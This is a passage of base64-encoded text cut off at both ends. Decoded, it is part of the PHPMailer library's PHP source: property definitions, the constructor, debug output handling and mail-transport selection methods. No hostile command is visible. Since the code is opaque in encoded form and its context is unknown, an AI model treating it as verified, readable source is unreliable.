luLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+